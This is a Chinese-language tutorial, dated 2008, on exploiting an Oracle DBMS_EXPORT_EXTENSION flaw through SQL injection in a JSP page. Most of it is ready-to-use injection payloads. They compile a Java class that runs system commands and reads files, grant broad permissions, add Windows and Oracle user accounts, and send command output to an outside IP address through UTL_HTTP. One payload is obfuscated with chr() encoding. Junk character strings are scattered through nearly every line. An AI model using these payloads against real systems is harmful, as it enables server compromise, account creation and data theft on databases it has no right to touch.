以下的演示都是在web上的sql plus执行的,在web注入时 把select SYS.DBMS_EXPORT_EXTENSION.....改成
3 J5 i! }- b7 @4 Z/ n3 B4 D$ q# C( I
/xxx.jsp?id=1 and '1'<>'a'||(select SYS.DBMS_EXPORT_EXTENSION.....)
* m6 J% t4 ^9 |! a' f的形式即可。(用" 'a'|| "是为了让语句返回true值)
7 g1 @/ f& j9 l2 f- l! B) M语句有点长,可能要用post提交。
& G5 O. Q6 }* l0 ?以下是各个步骤:
; a' [5 ]# r1 q1.创建包 / v4 f4 N+ l: M7 f; U
通过注入 SYS.DBMS_EXPORT_EXTENSION 函数,在oracle上创建Java包LinxUtil,里面两个函数,runCMD用于执行系统命令,readFile用于读取文件:
' b" A: P$ m$ M0 Y6 s# n/xxx.jsp?id=1 and '1'<>'a'||( 7 F1 k+ b6 [3 e# m; B- c2 Y/ e
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE '''': D. j! A1 z1 l( X
create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(
& u. u3 K0 d* Bnew InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}public static String readFile(String filename){try{BufferedReader myReader= new BufferedReader(new FileReader(filename)); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}
4 D. _& B% N$ V( Q0 g}'''';END;'';END;--','SYS',0,'1',0) from dual
9 g/ ?7 k4 E' p. d)
4 o4 r1 w+ `' q }* c------------------------ ' Q. \ P/ u- o2 [6 L1 ?% _" x
如果url有长度限制,可以把readFile()函数块去掉,即: " `0 w4 u7 V% p7 a3 v
/xxx.jsp?id=1 and '1'<>'a'||( $ ]% z: g5 C- |2 ], p' o- \
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
, i3 p/ j* q. s+ t# `# \6 }1 mcreate or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(
. G, ?6 G+ s( _- {" |' }/ vnew InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}
; c% M8 }+ }+ d+ o" |4 _4 _% _}'''';END;'';END;--','SYS',0,'1',0) from dual
7 q( y p1 k3 e$ g" F) , u* t N- E, h7 ]1 X$ F# b: o
同时把后面步骤 提到的 对readFile()的处理语句去掉。 : h2 C$ n. W. ]9 \
------------------------------ V' o3 U' d2 [) f0 n: e B
2.赋Java权限 4 \4 _5 K. p1 w6 N! \
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission( ''''''''PUBLIC'''''''', ''''''''SYS:java.io.FilePermission'''''''', ''''''''<<ALL FILES>>'''''''', ''''''''execute'''''''' );end;'''';END;'';END;--','SYS',0,'1',0) from dual# K3 C; P# m" i% F6 u* w4 F
3.创建函数 6 D: F i- s; p8 H4 g$ V2 U
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''5 Q4 w6 G# o4 K, \
create or replace function LinxRunCMD(p_cmd in varchar2) return varchar2 as language java name ''''''''LinxUtil.runCMD(java.lang.String) return String''''''''; '''';END;'';END;--','SYS',0,'1',0) from dual9 J: J8 S, M' T8 J* M9 {
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''9 U5 p; G+ X7 c
create or replace function LinxReadFile(filename in varchar2) return varchar2 as language java name ''''''''LinxUtil.readFile(java.lang.String) return String''''''''; '''';END;'';END;--','SYS',0,'1',0) from dual6 [& j7 I" n& O4 d6 C4 g
4.赋public执行函数的权限
3 B3 w" }; h& u! ~select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxRunCMD to public'''';END;'';END;--','SYS',0,'1',0) from dual
5 e0 ]2 {; M/ _( Q3 f2 o1 X. [2 xselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxReadFile to public'''';END;'';END;--','SYS',0,'1',0) from dual: u; \; `4 i$ P$ c! v% _8 [, D
5.测试上面的几步是否成功 ( S9 r, B0 A6 Y8 v" T a. z
and '1'<>'11'||(
4 l; D5 |8 C8 y: M$ aselect OBJECT_ID from all_objects where object_name ='LINXRUNCMD' 7 `& v. K$ B) _5 }+ ? a% s
) 1 \- }8 L0 d( S$ A9 }
and '1'<>(
0 o2 F2 _- t9 ]3 Q* {select OBJECT_ID from all_objects where object_name ='LINXREADFILE' 7 o. R& p! f& E/ y* b
)
0 k, m' z6 V8 ]) ]6 v6.执行命令: 9 C. _: c4 ~$ L# W
/xxx.jsp?id=1 and '1'<>(
7 S0 P9 O% T& Kselect sys.LinxRunCMD('cmd /c net user linx /add') from dual - a$ [1 G; A. `$ _4 n1 c
, Q h* Q( h! w; n+ c( B# w6 O
) ; H$ I0 n3 }7 G+ R x! y: J
/xxx.jsp?id=1 and '1'<>( , Z4 D+ r% L" A$ a
select sys.LinxReadFile('c:/boot.ini') from dual
' W3 x* [% r) G% e8 x( t6 k! Q4 @" {' w9 L% n
). U4 J# a% l0 |6 ]3 Z7 ^
8 T" F4 d; n- Y+ H+ q. x- j注意sys.LinxReadFile()返回的是varchar类型,不能用"and 1<>" 代替 "and '1'<>"。 1 C( m0 P8 X* F( Q3 [* J: j
如果要查看运行结果可以用 union :
& I: N# ?* B' h3 J, Y/xxx.jsp?id=1 union select sys.LinxRunCMD('cmd /c net user linx /add') from dual9 K. q; U7 f. e' `, T. o' u1 M, Z
或者UTL_HTTP.request(:
4 s3 c# W( n' C7 T/xxx.jsp?id=1 and '1'<>( ! _( i! y9 }: p
SELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxRunCMD('cmd /c net user aaa /del'),' ','%20'),'\n','%0A')) FROM dual
E7 ? i" a& t1 ?& B1 e3 R)
3 Y. _$ q: ?+ p6 p/xxx.jsp?id=1 and '1'<>( - \( }" R U0 L: G6 Y
SELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxReadFile('c:/boot.ini'),' ','%20'),'\n','%0A')) FROM dual" B; E/ Z7 G n0 a. l3 c+ ~0 @! t. I# w
) / n L" _0 @$ [ F1 c3 @8 Y9 q
注意:用UTL_HTTP.request时,要用 REPLACE() 把空格、换行符给替换掉,否则会无法提交http request。用utl_encode.base64_encode也可以。4 m$ F2 C1 I% k3 i
--------------------
' }6 m# L8 o8 v: |+ g" W6.内部变化
: l2 l V: V+ l7 E, d通过以下命令可以查看all_objects表达改变:
% w- Z5 b7 j! `+ i$ }( \4 V) hselect * from all_objects where object_name like '%LINX%' or object_name like '%Linx%'. L" ~) \4 {( X3 ^
7.删除我们创建的函数 & \2 X9 G ~* ^) C8 I
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
, y% ~- D. D7 m1 ?( I7 i9 {drop function LinxRunCMD '''';END;'';END;--','SYS',0,'1',0) from dual
* Q" }; Z' J f3 u. e==================================================== 8 G. d$ g+ B; i- F& `: K
全文结束。谨以此文赠与我的朋友。 2 m8 J; j# x! K/ x# F
linx
. v/ `2 Y7 f7 s/ \& G124829445
8 Z C, V! |$ q `& \ D& H2008.1.12
1 _! C. ]5 y0 P5 d( Q9 F" R) Ulinyujian@bjfu.edu.cn 5 K) p8 w5 X0 l% X9 Q% _
====================================================================== ' u& ~# R! ]: T' D. Y' h
测试漏洞的另一方法:
! u; s) ^1 R) t6 ?' m& C创建oracle帐号: S) Q7 A4 ? l
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
2 Z5 X* D) y3 u/ Q D! u ECREATE USER linxsql IDENTIFIED BY linxsql'''';END;'';END;--','SYS',0,'1',0) from dual$ ?" S D; O' \- H0 k R
即: : J8 Q, Q4 C1 n, k5 r* E
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),+ E1 G! d4 W5 }6 ^% [1 {4 q
chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(67)||chr(82)||chr(69)||chr(65)||chr(84)||chr(69)||chr(32)||chr(85)||chr(83)||chr(69)||chr(82)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(32)||chr(73)||chr(68)||chr(69)||chr(78)||chr(84)||chr(73)||chr(70)||chr(73)||chr(69)||chr(68)||chr(32)||chr(66)||chr(89)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45),chr(83)||chr(89)||chr(83),0,chr(49),0) from dual
' p7 c( y* T6 ~- [8 U' Y& A确定漏洞存在:
7 t: o; \$ _- X' u1 ~1<>( 7 Y+ W. l; f3 g, T5 l9 c3 u1 i( j
select user_id from all_users where username='LINXSQL'
# U' D! H0 @ M+ p) % p1 s' v$ U( b9 n0 B4 V& g! @
给linxsql连接权限:
1 c, @0 w6 U& A* q' X. Eselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
7 W1 f$ J0 g$ F$ h8 S# {GRANT CONNECT TO linxsql'''';END;'';END;--','SYS',0,'1',0) from dual
- y5 ~, V. n. w- E删除帐号: 2 q6 E, Q3 q1 e' T5 N
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''1 C. \7 n5 E- l/ p/ ?( x( C
drop user LINXSQL'''';END;'';END;--','SYS',0,'1',0) from dual ! K* _/ Y6 e9 G8 B
====================== 8 Y% r& J$ f$ q2 f- c4 g0 k
以下方法创建一个可以执行多语句的函数Linx_query(),执行成功的话返回数值"1",但权限是继承的,可能仅仅是public权限,作用似乎不大,真的要用到话可以考虑grant dba to 当前的User:
- g* }+ f4 v" |) v& \5 O c1.jsp?id=1 and '1'<>( 8 c# z0 P) ~( ]+ |! K. @: M- {) C/ ~+ J
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE '''', x7 y: O+ G" M" X: G5 c
create or replace function Linx_query (p varchar2) return number authid current_user is begin execute immediate p; return 1; end; '''';END;'';END;--','SYS',0,'1',0) from dual
8 h& _7 `2 D# c1 k- ^1 ^# u) and ... 1.jsp?id=1 and '1'( select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT.PUT(:P1);EXECUTE IMMEDIATE, Z% Y7 D2 r* B6 d
)
. R0 f( @7 p1 u, U+ ]6 ?
" i- X& f. Q" ?+ ^. G5 ]6 y: Q: W0 O. Z! j
) b0 v5 C$ f+ T& B. O. r k6 w# t
|